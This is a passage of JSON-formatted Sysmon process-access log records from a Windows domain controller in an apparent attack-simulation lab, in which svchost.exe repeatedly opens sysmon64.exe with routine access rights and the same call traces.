accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5088,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5089,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5090,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5091,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5092,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5093,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5094,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5095,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 